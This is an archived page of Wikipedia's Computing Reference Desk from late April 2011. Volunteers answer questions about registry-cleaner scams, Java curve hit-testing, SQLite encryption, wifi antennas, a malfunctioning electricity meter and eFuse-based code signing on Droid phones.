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April 28

Registry Repair

Resolved

Is there registry repair freeware out there? Apparently, I have 4442 registry errors. Plasmic Physics (talk) 08:45, 28 April 2011 (UTC)

What persuades you that you have 4442 registry errors? Beware of scam websites that resemble Windows programs which report virus infections and registry corruption, and offer to "fix" it. -- Finlay McWalter ☻ Talk 09:32, 28 April 2011 (UTC)

I used the program advocated on Wiki-Errors. Finding the errors is free, but having them fixed is not. Plasmic Physics (talk) 10:31, 28 April 2011 (UTC)

Most registry errors are minor. I use CCleaner, other recommendations are at TechSupportAlert.com. ---— Gadget850 (Ed) ^talk 10:41, 28 April 2011 (UTC)

What counts as a registry error? There is no reason to believe the program, or the website, "wiki-errors.com" - who created that site? Why do you trust them? If you have an error in Windows, check the Microsoft TechNet or Windows support forums; check your software-vendor's website; but why would you believe some random website on the internet?

The Windows registry is nothing but a large, shared database for Windows programs. I can write a perfectly functioning, perfectly legitimate Windows program that puts anything I want in the registry. There is no way at all for any "registry error checker" to determine whether my data is valid, corrupted, or erroneous - unless they know what my program does with the data I put in the registry.

In short: do not believe the reported number of registry errors. That number is 100.0 % fictional. If you have an actual error, search the appropriate, authoritative websites (Microsoft support or Microsoft TechNet, or for errors in custom software, check with your software vendor directly). Nimur (talk) 17:29, 28 April 2011 (UTC)

"wiki-errors.com" is a scam site whose only purpose is to show up in search engines and persuade you to buy useless software. It contains a very large number of nearly identical, machine-generated pages, each one personalized enough to make it seem as though it's somehow related to a specific problem. You linked the page titled "0X80072EFF"; compare the page titled "0X12345678" or the page titled "vclkajsclkjznbclkasdlfqhwleruh". The web is full of sites like this and you will have to learn to recognize them in search results. -- BenRG (talk) 21:52, 28 April 2011 (UTC)

OK, well that's why I came here, because I don't want to spend money on third party sofware for something that microsoft should really offer for free. Anyways, I tried CCleaner, but it doesn't scan for all errors. I tried Wise Registry Cleaner Free, it is a lot more effective, and it solved my initial problem of the 0X80072EFF error. Thanks, Gadget.

I'll be more weary of sites with wiki in the url thanks for the heads up. Plasmic Physics (talk) 11:46, 29 April 2011 (UTC)

Such sites are indeed wearying, but you would do better to be wary (or perhaps leery) of them. AndrewWTaylor (talk) 12:08, 29 April 2011 (UTC)

As mentioned here (my first Google hit for 0x80072EFF), this error code means "Network problems are preventing connection to the Windows Update servers." I doubt that this had anything to do with your registry. It was probably a transient network problem that happened to go away at about the time you ran Wise Registry Cleaner. I realize that the web is full of sites telling you that this error is caused by a registry problem, but as I said above, those sites are scams. All of them are scams. When you hear "registry cleaner", think "patent medicine". In specific, rare cases, you might get some medical benefit from drinking snake oil. Most of the time, not. -- BenRG (talk) 20:14, 29 April 2011 (UTC)

Agree with BenRG on this. Also, the official Microsoft KnowledgeBase article: You may encounter temporary connection-related errors when you use Windows Update or Microsoft Update to install updates. Your error-code is one of many possible error-codes. Solutions are explained on that page. Nimur (talk) 20:51, 29 April 2011 (UTC)

As a matter of fact, the error started right after a windows update. Plasmic Physics (talk) 22:23, 29 April 2011 (UTC)

Inabilty to maintain my focus

No, I don't suffer from ADD, I'm talking about my computer. I am happily typing away, looking at the keyboard (I'm not quite a touch typist), then some darn window pops up and steals the computer's focus, causing most of what I typed to disappear into a parallel universe (thus bringing them supreme enlightenment, instead of our universe). Now, I don't object to all pop-up windows, as some of them contain genuinely useful info (I will leave it for the reader to determine whether I consider update notifications or penis enlargement ads to be more useful).

So, I don't want to stop the pop-ups, per se, but rather want to prevent them from stealing focus. This may be complicated by there being different types of pop-ups. For example, one that gives me particular trouble is in Pogo games, where I am typing in the (Flash ?) chat window, when a (Flash ?) pop-up tells me to shut up because I talk too fast (yes, they really have such a message). So, how can I continue to allow the current pop-ups, but globally prevent them from stealing focus ? (I would prefer that the pop-ups still be on top, though.) StuRat (talk) 17:18, 28 April 2011 (UTC)

It's interesting that you mention Adobe Flash in particular. Sadly, there is no way to override the windowing behavior of a flash application. This is because Adobe Flash is a totally hosted code environment that does not use your operating system's windowing toolkit. The application programmer therefore has complete and total control over the user interface behaviors and experience. (Do not use programs designed in Adobe Flash if you do not want to delegate total control of your user-experience to the application programmer).

In the general case, it is the role of the operating system window manager to make decisions about when programs may steal focus; on most platforms, you can configure focus behavior in the window management tools and preferences. Are you using Windows? The TweakUI tool from Microsoft allows you to override default window UI behaviors, including focus settings. Newer versions of Windows have these preferences built in to the control panel. Other major operating systems with windowing kits generally do not allow focus-stealing by default; you can configure this behavior in KDE, GNOME, FVWM, or your favorite X11 manager. On Apple platforms, window focus is explicitly controlled by the operating system; see this discussion forum for some enlightening discourse. Nimur (talk) 17:53, 28 April 2011 (UTC)

I am using Windows XP SP3. StuRat (talk) 18:28, 28 April 2011 (UTC)

Um, first of all congratulations Stu on finally taking the plunge from Windows 98. But, how shall I put this, you might want to sit down for this... 79.122.114.131 (talk) 00:16, 29 April 2011 (UTC)

I still have 3 computers running Windows 98, and have no plans to change that. I did decide I needed one on XP, though, but I will be skipping Vista entirely (and hopefully Windows 7, too). When MS stops making bloatware and makes a lean O/S, then I will upgrade. StuRat (talk) 00:59, 29 April 2011 (UTC)

More generally, it seems like Vista has been getting worse and worse about a really stupid user interface problem: the mouse and the keyboard aren't synchronized. If you click the mouse somewhere and start typing, the text might come out either where you were before or where you meant to go. Why can't Windows hit on a user interface where stuff happens in order? Wnt (talk) 02:15, 29 April 2011 (UTC)

Sorry, didn't mean to be off topic. I have that issue too. I just thought it was the stupid track pad on my Asus laptop. >_> So I guess it is a Windows wide issue. Need to do more research on that when I have time. Kushal (talk) 01:15, 30 April 2011 (UTC)

Configure custom certificate validator declaratively?

Today at work I noticed I had to make a WCF service accept connections from several clients, each with their own certificate. Specifying the accepted certificates directly in the service's client credentials configuration only supports one client certificate, so I found that I have to write a custom certificate validator instead and make it inspect the certificates and see if they're valid or not. This appears to be simply a matter of extending X509CertificateValidator and implementing a Validate(X509Certificate2 certificate) method, which runs successfully if the certificate is valid or throws an exception if it's not. But how will it know which certificates are supposed to be valid? These should ideally be defined in a configuration file. I found that the certificate validator can be specified in the WCF service's App.config file like this:

<serviceCredentials>
  <clientCertificate>
     <authentication certificateValidationMode='Custom' customCertificateValidatorType='Samples.MyCertificateValidator, Samples' />
  </clientCertificate>
</serviceCredentials>

But how can I add my own configuration to this? I would want to do something like this:

<serviceCredentials>
  <clientCertificate>
     <authentication certificateValidationMode='Custom' customCertificateValidatorType='Samples.MyCertificateValidator, Samples'>
       <accept mode="bySubjectName" value="MyGoodCertificate"/>
       <accept mode="bySubjectName" value="MyOtherGoodCertificate"/>
     </authentication>
  </clientCertificate>
</serviceCredentials>

But I don't know if such a thing is even supported. JIP | Talk 17:47, 28 April 2011 (UTC)

Mp4 player

Does anyone know a good MP4 player that I can download that plays videos well? It also must work on Windows XP, as that is what I'm currently using. 72.235.230.227 (talk) 18:10, 28 April 2011 (UTC)

VLC Media Player plays just about everything. 82.43.89.63 (talk) 18:19, 28 April 2011 (UTC)

I've used VLC Media Player to play MP4 files, and it works fine. It comes with its own set of codecs, so it will play files even if the player bundled with your OS (e.g. Windows Media Player) is insufficient. Now whether it will play MP4 files well is determined more by your hardware. Since MP4 files often encapsulate HD video, you'll need a computer that isn't more than 6-7 years old, I'd guess.--el Aprel (^facta-_facienda) 19:49, 28 April 2011 (UTC)

I'm pretty sure VLC can dynamically process large video into small video, though obviously you'd have to config it! ¦ Reisio (talk) 13:00, 29 April 2011 (UTC)

Free software production

It has been demonstrated that free software can be cost-effective and profitable under circumstances, however it appears that is not the case when it comes to entertainment (console games, little mobile apps, etc). Are there schemes to remedy this? My initial observation is that a hardware vendor has commercial interest in having content available for their platform. Then I can come up with three approaches off the top of my head 1) the vendor requests content and rewards for fulfilling the request, or just hires people to do it 2) developers come to the vendor with their content, and the vendor then somehow decides its value and pays the developers 3) the developers put their content "out there", and the vendor then sends them money as the content gains popularity. Now of course there are a lot of blanks to fill in and the merits differ, but I'd believe somebody has already thought this out. Requesting any links or insights. --62.142.167.134 (talk) 21:00, 28 April 2011 (UTC)

None of those three is something a hardware vendor would do for free software. In case 1, the manager will say "I paid for that content and it's staying on my platform exclusively, because otherwise I am subsidizing all my competitors." In case 2, same thing. In case 3, the hardware vendor has no reason to send money to the developers; he has already benefited. Another issue with games in particular is that, like movies, they tend to be hit-driven and have short shelf lives, replaced in a month by the new hotness; all in a way that is unlike operating systems or applications. Free software works better with software that has a long lifespan. Comet Tuttle (talk) 21:19, 28 April 2011 (UTC)

It's true that there are probably few profitable free software games, but free (or at least open source) software has a significant foothold as part of the technology used to develop commercial games, e.g. Lua, Simple DirectMedia Layer, and FreeType. There are relatively few commercial games for free software platforms (although there are some indie successes like World of Goo and the Humble Indie Bundles), bar the very notable example of the many games for Android. As to how full top-to-bottom free software games could be a commercial success, I don't know. The normal pattern of free software projects (a slow bubble building incrementally into a respectable solution) is at odds with the big-bang model that most commercial games follow. A lot of free software earns its keep where a service (e.g. hosting) is sold, so perhaps an MMORPG where the software is free, and users can contribute their own scripts and assets (a bit like Second Life) while paying for hosting and connectivity might work. -- Finlay McWalter ☻ Talk 21:20, 28 April 2011 (UTC)

I mention all those constituent technologies because they're mostly a prerequisite for a free or open source game. A commercial games company typically buys in a graphics engine (e.g. IdTech), a sound engine, a physics engine (e.g. Havok), a video renderer (e.g. Bink), and a bunch of other stuff. These days you can put together a pretty mature tech stack with stuff like OGRE, Ogg (vorbis and theora), Freetype, OpenAL, Bullet, Lua, and SDL, and there are free (libre) music libraries. So all someone needs to do, to create a free or open-source game the like of Torchlight is "just" the game code and its assets. Still a bunch of work, but not starting with a bare OS. -- Finlay McWalter ☻ Talk 22:04, 28 April 2011 (UTC)

There are a couple examples of large, highly-polished free software games: Battle for Wesnoth, and Wolfenstein: Enemy Territory come to mind. Another example of a non-free game built mostly on a free stack is Overgrowth. But, for the most part, the no-cost games that are the most elaborate are intricate games that appeal to a smaller audience: roguelikes, like Dwarf Fortress and Nethack, or simulation games like Vega Strike, OpenTTD and Orbiter. I suspect that the short shelf life of most polished games is to blame: no one wants to give away something that will only be a brief success. Shoot-em-ups come and go, but Dwarf Fortress is for life. Paul (Stansifer) 06:16, 29 April 2011 (UTC)

(ec)Actually, most consoles are sold as loss-leaders, and the vendors try to make their profit with games and game licenses. So none of your business models is attractive to them. The reason for this is, of course, that they can lower the entry barrier (the initial system price) and provide a more impressive system at a lower price point. --Stephan Schulz (talk) 21:21, 28 April 2011 (UTC)

(ec) @Comet Tuttle: If the vendor doesn't make a reliable promise to pay the software won't be created in the first place. On 1) there is the middle road of locking the content on the platform (by licenses or maybe even bad portability), but making it available for others to build on and modify, while reserving a right to sell it to other vendors. Although it won't really be free software then.

@Stephan: Great point about the consoles. I guess the console price would be quite unattractive given how expensive the games seem to be. --62.142.167.134 (talk) 22:28, 28 April 2011 (UTC)

@Finlay: I didn't think of that. So the foot is already in the door in the sense that individuals getting paid to maintain e.g. Lua and anybody using it are profiting. --62.142.167.134 (talk) 22:42, 28 April 2011 (UTC)

My computer doesn't understand Google Chrome?

Hi. My preferred browser is Chrome and I recently got a laptop for my birthday with the fingerprint scanning tool. Unfortunately it doesn't seem to work with Google CHrome; it cant detect logon screens in Chrome and whenever I try to open a previously set logon it just goes to the Chrome new tab page. Any idea on why this might be, or how I can fix this? Thnks. 72.128.95.0 (talk) 23:16, 28 April 2011 (UTC)

Your finger print scanner does not work with Google Chrome? If you give details about what brand/model your device is, perhaps someone could help. Cheers! Kushal (talk) 01:07, 30 April 2011 (UTC)

While we can confirm/disprove this when knowing your model, there is a liklihood that this isn't even possible. I owned a fingerprint scanner keyboard (microsofts) and it was specifically designed to not work on any browser besides IE. Knowing the vast array of programs that it did work on made me feel that this may have been intentional. We need more details to get you the answer, but that answer might be it can't be done. Chris M. (talk) 14:33, 3 May 2011 (UTC)

April 29

Detecting click on cubic curve.

I'm writing something in Java, and I'm trying to listen for when the user clicks on a cubic curve I drew. I know the points in the curve, and the point the user clicked. I'm trying to determine if they clicked by using the distance from the curve, but I got a horrible mathematical mess. I also posted on the mathematics desk (http://en.wikipedia.org/wiki/Wikipedia:Reference_desk/Mathematics#Calculating_presence_of_root), since I can't figure out the last bit. Is there a better way I could do this? KyuubiSeal (talk) 00:39, 29 April 2011 (UTC)

What I would do is check the display to see if any of the nearby pixels are colored. For example, if the background is white and the curve is blue, use a for loop in a for loop to check 4 or 5 pixels left, up, right, and down from the point that was clicked for the color blue. If you see blue, the click is near the curve. It is much less complicated than a mathematical solution and it doesn't care about scale - which is required to accurately test distance to a curve. -- kainaw™ 01:05, 29 April 2011 (UTC)

(ec) Do you need to know if they clicked exactly on the curve (that is, on a pixel which contains part of the image of the curve), or just what the nearest object is to their click ? In the latter case, you could spiral out from the selected point in a 2D plane until you encounter the first object, and then assume they meant to pick that. Note that this approach requires a screen map which links each pixel on the screen to an object, or to blank space. Alternatively, you could define the map with no blank space (that is, assign every pixel to the nearest object), then a click becomes simple to identify. Since this alternative requires more work up-front, but less with each click, it would be better for a screen which isn't updated often, but is clicked frequently. StuRat (talk) 01:10, 29 April 2011 (UTC)

Instead of checking distance to the curve (which is hard and requires some calculus - and a lot of CPU due to algorithmic complexity), try this instead: you know the function f(x) you used to calculate the cubic curve. You know the (x,y) position that they clicked. So, calculate (f(x) - y) ... in other words, the error in the exactly-vertical direction ... and determine if it is "small."

If you want to make this more elaborate, also calculate the error in the horizontal direction, by calculating (f^-1(y) - x), where f^-1 is the inverse function of your cubic. Note that inverse functions of cubics can have multiple "answers" - so, code this part carefully! (Mathematically, the inverse is not a function because some cubic functions are not injective). This means you can have more than one result for f^-1(y) - choose the closer one!

To be even more elaborate, estimate the distance from the curve using:

Let a = (f(x) - y)

Let b = (f^-1(y) - x)

Distance ≈ √(a²+b²)

Now, this is not the true distance, which will require calculating a normal to the curve (as I said, requiring both calculus and an iterative loop). But, instead, you get an approximate distance, requiring an algorithm with constant-run-time and only a few floating-point operations. You can determine whether you need horizontal, vertical, or combined distance-estimates based on heuristics, or by calculating a representative derivative of your cubic function in this neighborhood. If the curve is "nearly vertical", you only really care about horizontal distance to it, and so on.

Also, I'd recommend Kainaw's approach, as well, if you know you're rendering in a clean environment - you've already done the work to "flag" neighboring pixels, so re-use the prior calculation work! (Re-using the saved results of previous calculation is the core of a lot of numerical algorithm optimization!) Nimur (talk) 01:49, 29 April 2011 (UTC)

To use Kainaw's method, should I just get the curve a second time (it isn't recalculated every time i access it, only if the control points change) and render it on a new BufferedImage? (Also, how did you know it was blue? :O) KyuubiSeal (talk) 03:20, 29 April 2011 (UTC)

What are you rendering it to? If it is in any sort of awt or swing interface, you can get the color of any pixel in the frame. There are many methods, some easier and some harder - depending on exactly what you are using. Just google for "java get pixel color". There is no need to render it twice since it will be visible. As for being blue... the math department has a thing about using blue for graphs. So, I think most people think that all graphs should be blue. I purposely don't use blue when I make graphs because I like to annoy the math department as much as possible. -- kainaw™ 04:25, 29 April 2011 (UTC)

I'm rendering it to a JPanel, but that's not the only thing on it, so getting pixels from there would be confusing. KyuubiSeal (talk) 13:04, 29 April 2011 (UTC)

Then, rendering to a hidden panel or any bitmap object is a good idea. If it has the same dimensions as the JPanel, the coordinates will be same. I suggest rendering on both the visible and hidden panels at the same time. -- kainaw™ 13:14, 29 April 2011 (UTC)

In that above approximation to the distance use the minimum of the absolute values of a and b rather than that square root of the sum of squares. In fact you might find a bit of curve following using the tangent of the curve at the x point is quick way to find a good approximation to the nearest point. If you're taking about cubic splines rather than a cubic all bets are off! Well actually you can either solve a fifth degree equation or approximate with something similar to what I said here but it isn't the easiest thing in the world. I'm sure somebody has free code you could just use if you search around. Dmcq (talk) 14:21, 29 April 2011 (UTC)

Argh, cubic splines are not the same as cubic functions! With a spline, you might have no option except to curve-follow and calculate normal distances. Nimur (talk) 14:39, 29 April 2011 (UTC)

The normal method is to walk along the curve in small steps, calculating the distance between each point and your target point. Trying to solve cubic equations is not worth the effort: even if you make it work, your code won't apply to anything other than cubics. Trying to do this with pixels is also a bad idea: you end up having to create some extra data structures that complicate your code and don't really speed things up significantly. One very simple speed-up trick is to work with the square of the distance rather than the distance itself, as this saves you from having to calculate square roots. Looie496 (talk) 16:09, 29 April 2011 (UTC)

Droid X and Droid 2

I asked about these devices before and I was told that, on some devices, the boot rom can be modified after applying a certain voltage to certain pins. Would this be capable with an OMAP processor? --Melab±1 ☎ 00:51, 29 April 2011 (UTC)

Video Chat plus pan/tilt/zoom

My google-fu has failed me. I am looking for the cheapest way possible to allow a friend to telepresence at my gaming table. I can buy a web-cam easy enough, with pan/tilt/zoom capability, plus audio. What I can't seem to find is any camera that comes with software or a remote server that would let someone remotely manipulate the camera. I have found some very expensive security cameras that supply a remote server, but they do not support pan/tilt/zoom. Any suggestions? Tdjewell (talk) 12:23, 29 April 2011 (UTC)

I have only seen that sort of system developed specifically for the applications in which it is used. It is not an off-the-shelf product. My favorite was developed on top of Lego Mindstorm. Not only could people on the web move the camera, they could also drive around a little car that the camera was mounted on top of. -- kainaw™ 12:25, 29 April 2011 (UTC)

I've used Polycom PVX for teleconferencing, and it lets you do all of those things with the cameras at either end. It might be out of your price range ($120 or so), but perhaps by searching for related products you can find something that does the same thing. You can also download a free trial of Polycom, which will let you make short video calls just to confirm it works with your camera before purchasing, which is a plus. --Mr.98 (talk) 12:40, 29 April 2011 (UTC)

Let your friend use Remote Desktop Connection (or whatever the Linux/Mac equivalent is called) into the PC that the webcam is connected to? Then he could use that connection to control the camera, while his locally run chat client would show him the feed. (not sure I understood the problem correctly, but if I did, this should work). Jørgen (talk) 13:56, 29 April 2011 (UTC)

bios refuses to reset in my old pc

My Intel GLLy845 mobo Pentium 4 pc was working smoothly until it suddenly froze. Not even bios was functional. However, I noticed that if I left the PC cold for more than 12 hours the bios is working. I assume that the problem is with the hdd. It even launched WinXP when I tried an old hdd on it. But one failed attempt means no response for next 12 hours or more. I used the jumper setting to remove passwords in the BIOS. But that also doesn't work. Removing Bios disk battery never worked. Why is this so? How can i 'discharge' the board so that BIOS is again functional without the 12 hour gap? I am thinking about replacing the probably dead IDE hdd with a SATA HDD and IDE to SATA converter. --117.253.191.236 (talk) 12:29, 29 April 2011 (UTC)

I'm fairly confused by why you think or even what you mean by your BIOS isn't working. Do you mean your computer isn't POSTing? If so are you getting error beeps? (Or do you never even normally get a POST beep in which case you're kind of SOL in diagnosing what's going on without a POST card or connecting an internal speaker and making sure it works somehow.) That being the case, I don't see any reason to think the BIOS has anything to do with the current problems. It could be a large variety of things like any parts of the motherboard (chipset, leaky caps), the RAM the processor. In theory it should give error beeps (if it normally gives a POST beep) which would suggest something to do with the motherboard but I would recommend you at least unplug all non essential items including the RAM and the all cards including any video card to test (it won't POST but I can imagine it being possible in unusual cases when despite the RAM or video card or whatever being the problem it doesn't give POST beeps). (You should of course have already unplugged all items that aren't needed to POST including the hard disk and any cards other the a video card.)

Also how sure are you about this 12 hour thing. Do you mean you've tried it multiple times and each time if it fails you have to wait about 12 hours before it will work (if it only happened once or twice it could be just a coincidence). If you're sure about this 12 hour thing I presume you're also sure it's nothing to do with say a fuse in the PSU, for example fans work and optical drives can open even when it doesn't POST (or whatever). If my presumption is correct my guess is that more likely (assuming there's no other fuse but I can't imagine where there would be) then having to reset the bios (whatever you mean by that) some component is heating up and causing start problems.

I am somewhat confused about how the HDD came in to it at all. Are you saying your HDD doesn't work in a different computer? Given the problems with the current one, I wouldn't trust it to help you determine if there are any problems with the HDD although it's not entirely clear to me what problems you even encounter with the HDD on this computer. Do note if you unplug the HDD the computer should POST fine. P.S. For a system that old there are various possible hard disk size limitations you should be aware of.

Nil Einne (talk) 14:51, 29 April 2011 (UTC)

I agree with Nil Einne that your diagnoses seem a little off, and you should back up a few steps. If your computer does not display the POST screen then this is a problem with the motherboard or something connected to it (I'm thinking of RAM sticks not properly seated) and not with the hard disk. Try disconnecting the hard disk entirely and try a series of power-ups. If you get the same problem with the POST screen not appearing, then you have a motherboard problem. Comet Tuttle (talk) 20:19, 29 April 2011 (UTC)

I am the OP. I was not able to post here because of a Firewall problem. This is how I stand now. When I switch on the computer the fan works, and the hdd is making sounds but keyboard, monitor etc are not recognised. Keyboard shows the initial blinking but nothing follows. So, it fails in POST. However, if I try next day (about 12 hours after the failed attempts) there is a BIOS beep if the HDD is disconnected. but with the HDD connected it just stays the way I described above. So, I guessed the HDD might be the original cause of boot and POST failure. But I can't understand why it is not posting even when I remove all peripherals but would post occasionally when I try next day. When it posts it beeps but no error beep or anything at all when it the POST fails invariably. --Bluesdatum (talk) 09:24, 1 May 2011 (UTC)

I suspect a power supply unit problem. Very eratic behavior because of bad/leaky capacitors is my best guess. Bad capacitors are the only components I can think of that could slighty recover after hours. I suspect the hdd thing is just a side effect. 93.95.251.162 (talk) 15:04, 3 May 2011 (UTC) Martin.

cannot sign in to mail or post at this forum

I am on Wimax connection. I am not able to sign in to Gmail (gtalk works), Facebook etc. Even an attempt to register at opendns website failed. Can't even post a question at this RD normally. I succeeded after many tries. My OS is WinXP and I usually keep Window's own Firewall closed and Sygate Personal Firewall open. I fumbled with the Firewall settings but that doesnt' seem to be the problem. What could be the reason? (On rare occasions I am able to sign in to Gmail and Facebook. But even then I have problem loading pages.)--117.253.191.236 (talk) 12:36, 29 April 2011 (UTC)

You didn't succeed posting here after many tries. You succeeded in posting the same question many times in each of many tries. I deleted all the repeat questions. -- kainaw™ 13:16, 29 April 2011 (UTC)

You could be reloading the stale copy of the sign-in page from your browser's cache. First purge this page from your cache by going to http://en.wikipedia.org/w/index.php?title=Wikipedia%3AReference_desk%2FComputing&action=purge - so that you don't end up posting the same question/reply multiple times. Then purge your entire cache, and see if that fixes the problem. Rocketshiporion♫ 01:28, 30 April 2011 (UTC)

I am the OP. I was not able to edit without an account. So, I created this ID. The problem is fixed. It was a Sygate Personal Firewall gone awry. It was running in the background even when disabled and was hindering traffic. I uninstalled it. Bluesdatum (talk) 09:22, 1 May 2011 (UTC)

Encrypting a database file

Hi. I asked a question regarding sqlite and java a few days back, thanks for answering it. It was very helpful. However, I now have another problem. Since SQLite database doesn't have any username/password, anybody can access it. I want to encrypt the contents of this file to prevent sensitive information being compromised (I don't want to encrypt the entire file, since that would leave all the contents unprotected when the program is accessing it - I'm looking to encrypt the actual contents). I thought about using a hash function, but that was stupid since I wouldn't be able to read it back again :) Is there a way to achieve this using java with sqlite? 122.255.9.229 (talk) 14:46, 29 April 2011 (UTC)

You can encrypt values before putting them into the database (probably using a symmetric cipher from javax.crypto. There's a tutorial at www.wikijava.org/wiki/Secret_Key_Cryptography_Tutorial . But remember that in doing so you defeat some of the utility in having a database, as you can no longer use the contents of those, now encrypted, fields in the WHERE section of a SELECT query, and you can't ORDER BY them either. Of course this still leaves the problem of where you'll keep the secret key; it's too big for most people to remember. -- Finlay McWalter ☻ Talk 15:56, 29 April 2011 (UTC)

Or you could create a small encrypted filesystem and keep the database files in there. That way the java code need know nothing about cryptograpy or secrets. And the whole database (including the schema) is encrypted, not just the values. You'd write a wrapper script around your java program to mount and unmount the EFS, and you still need to store the secret key or passphrase somewhere. -- Finlay McWalter ☻ Talk 16:00, 29 April 2011 (UTC)

You could use hash functions, incidentally, but only for limited applications. Imagine you had a database where the data itself was always encrypted as individual fields, but you wanted to be able to search for exact matches on a given field (like a last name). What you could do is have one extra, unencrypted field that was a case-insensitive hash of the field you wanted to be able to search by, and then you could search for the hash at runtime, without decrypting the database at all. This would allow a potential attacker/snooper to see if there was an entry in the database for a given name, but, barring rainbow table attacks, they wouldn't be able to actually figure out the total list of names. And in either case, they wouldn't be able to decrypt the presumably more sensitive data. Anyway, it's not the best scheme, but it came to mind while I read your post. It would have very limited applicability, obviously, since hash matching would only occur if there were exact matches. --Mr.98 (talk) 20:50, 2 May 2011 (UTC)

Wifi antenna

Can I buy an extra antenna for a computer? I have interest in something with a range of 1 mile, at a reasonable price. Quest09 (talk) 17:20, 29 April 2011 (UTC)

At that range you'll need a highly directional antenna. A Google search for "directional wifi antenna" should find many options in you region. Some folks build them themselves - see cantenna. -- Finlay McWalter ☻ Talk 17:26, 29 April 2011 (UTC)

And you need a wifi card that allows for the antenna to be replaced (usually by unscrewing a co-axial connector and running a cable to the new antenna). As the high directionality of the antenna means that even a small deflection of it from its intended direction will mean it'll lose signal, you'll probably need a robust bracket to hold it firmly in place. -- Finlay McWalter ☻ Talk 17:32, 29 April 2011 (UTC)

Thanks so far. And then, what is the maximum range of a non-directional antenna? One that would work like a normal standard wifi antenna. Quest09 (talk) 17:57, 29 April 2011 (UTC)

Omni-directional antennas, of the type supplied with most wifi equipment, are intended for internal use (where the signal bounces around unpredictably off stuff in the house or office); the actual performance you'll get will vary hugely with the features of the building. Outside, in a straight line, you might get 100m if you're very lucky. Note that you can also get external omnidirectional antennas intended for providing wifi to an area like a garden or campus, which should perform better. -- Finlay McWalter ☻ Talk 18:22, 29 April 2011 (UTC)

After upgrading your antenna, you can also boost the power by adding an external power-amplifier, though this circumvents FCC rules and can get you in trouble. (Remember - if you're broadcasting radio signals, they know how to find you!) If it turns out your homebrew radio is screwing up other people's electronics, you can get into "trouble."

So, you want 1-mile IP traffic? Consider AX.25, a wireless radio protocol that can provide the physical layer for IP traffic. You can get an amateur radio license and broadcast AX.25 data. I've heard guys from TAPR from 25 or 30 miles on VHF links. (They spend a lot of money on radio gear, though).

Unfortunately, the truth is that as you start getting in to the long-range radio, you will start needing to become cognizant of "technical details" that you can generally ignore for short-range, indoor "wifi"- and "bluetooth"-style wireless data. Multipath interference; analog signal properties; and signal loss, error-rate, and coding technology that you don't even think about in omnidirectional 802.11 radio will start to become much more important when your wireless signal path is a mile long. Nimur (talk) 18:53, 29 April 2011 (UTC)

Our cantenna article doesn't discuss the range improvements, oddly, but the external links in that article may be useful. Comet Tuttle (talk) 20:15, 29 April 2011 (UTC)

When good electricity meters go bad

Our external house meter is no longer turning, but we still have power, which seems like an odd combo. We recently had to disconnect one leg of the power drop, because it had started arcing at the connector. Could only having one leg connected create an imbalance and cause this type of malfunction ? Bear in mind that the single leg is now powering the entire house, whereas it was only used for half the house before. Could we have exceeded the amp rating of the meter (and what is the rating, anyway) ? We are only using one meter now, as opposed to two previously. Here are the markings on the meter:

FM 2S CL 200 240V TYPE: OMRMX
TA 30 Kh 7.2 3W 60Hz

Thanks. StuRat (talk) 18:14, 29 April 2011 (UTC)

I take it we are talking about a split phase and not two phase. Did you disconnect the neutral? This might be considered tampering by the utility company. --Aspro (talk) 18:54, 29 April 2011 (UTC)

How can we tell the difference between "split phase" and "two phase" ? I don't believe the neutral was disconnected. If it was inadvertently disconnected, would this cause the meter to fail, yet still allow power through ? StuRat (talk) 19:41, 29 April 2011 (UTC)

I suggest you just call the electric company. They will want to replace the meter anyway (a malfunctioning meter cuts into their profit margin), and they are trained and equipped to deal with the materials. Keep in mind that if this is the main line coming into your house, you can get a heck of a nasty shock off it (much worse than sticking your finger in a socket). --Ludwigs2 10:05, 1 May 2011 (UTC)

I don't know about your electricity company, but in the UK the electricity company generally takes an extermely dim view of tampering with the supply. Even if you consider yourself innocent of tampering, they might suspect you all the same - there are many people out there looking to commit fraud against the electricty company and they may be more prepared to think that was your aim too, rather than you protecting yourself from a potential fire. I easily found these two articles indicating hefty fines and possible jail time. I suggest you call the electricity company's emergency line immediately. Astronaut (talk) 11:24, 1 May 2011 (UTC)

UPDATE: We now switched to the other meter, and it has stopped working, too. So it's looking more like having only one leg connected causes the problem. Does anybody have any insight other than "call the electric company" ? StuRat (talk) 16:18, 4 May 2011 (UTC)

eFuse programming

Can an eFuse be reprogrammed? --Melab±1 ☎ 21:28, 29 April 2011 (UTC)

Are you speaking generically about a programmable logic device, or are you referring specifically to eFUSE from IBM? In general, programmable silicon devices that are called "fuses" are PROM (one-time-programmable); but there are EEPROM and other field-programmable logic devices. Lots of engineers abuse terminology, and call anything that writes to a non-volatile silicon storage "fusing." The long and short of it is, "depends on the device," and who-ever called it a fuse needs to specify more detail. Nimur (talk) 21:57, 29 April 2011 (UTC)

eFUSE from IBM as used in the OMAP processors in the Droid X, Droid 2, and Droid 2 Global. --Melab±1 ☎ 02:00, 30 April 2011 (UTC)

TI has a page on OMAP Security, including this white paper, M-Shield™ Mobile Security Technology, which states that their "E-Fuse" is a one-time programmable device. So, it can't be "reset," it is electrically burned and physically exists on the chip. This fascinating archive-scan from 1988 gives you the electrical properties of the Texas Instruments fuses on a certain family of devices. (.... from 1988). Here's a nice academic paper with some electron-micrographs of what a generic "fuse" actually looks like: Blowing of polycrystalline silicon fuses - a modern TI chip probably uses something like that, but much smaller, for on-chip PROM. Nimur (talk) 15:21, 30 April 2011 (UTC)

I understand now. There was a lot of talk about how eFUSEs were responsible for making the Droid X and Droid 2 only run signed code. But can't this be done without eFUSEs, like the iPhone does? I was also thinking that I could bypass this by ordering a custom OMAP3630. Despite me not being a high-volume OEM/ODM, would there be incompatibility issues if I swapped out the OMAP3630 in a Droid X with one that does not check signatures? --Melab±1 ☎ 16:16, 1 May 2011 (UTC)

Unless you have detailed schematics of the Droid X, it's difficult to say with certainty whether you can just "swap out" the OMAP chip with an stock part you buy at Digikey or TI. The production chip might speak encrypted protocols to all its connected peripherals; it might even have a non-standard pin-out. (Do you even have the equipment to do this type of electrical work? BGA chip removal isn't trivial. You'll need a surface-mount chip reflow system, some high-quality tweezers, a BGA solder-mask maker, and a very steady hand). Why don't you buy an OMAP engineering prototype board instead? Those boards are intentionally designed for you to develop on; they expose electrical test-points; the CPUs are configured without code-signing; some are as cheap as $174 - less than your PC probably cost, and probably with a more powerful CPU! A form-factor unit is also available for $1999, BLAZE Pico. It's pretty much the same hardware as a $174 PandaBoard, but looks more "phone-like."

That's what I was worried about. --Melab±1 ☎ 21:44, 1 May 2011 (UTC)

